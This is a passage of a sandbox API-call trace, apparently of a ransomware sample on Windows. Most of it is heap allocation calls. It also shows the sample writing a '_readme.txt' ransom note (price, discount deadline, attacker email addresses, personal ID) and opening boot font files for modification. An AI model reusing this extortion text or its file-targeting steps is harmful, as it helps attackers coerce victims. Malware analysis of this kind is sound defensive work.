Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.808] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.808] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.808] PathFindFileNameW (pszPath="") returned="" [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.808] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.808] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.808] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.809] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x81c) returned 0x7ac3918 [0111.809] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.809] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.809] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.809] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.809] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.809] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.809] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.810] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.810] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.810] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0111.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.810] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0111.810] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.810] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0111.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.810] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.810] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.810] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0111.810] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.811] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0111.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.811] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.811] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.812] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0111.812] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.812] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.812] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0111.812] CreateFileW 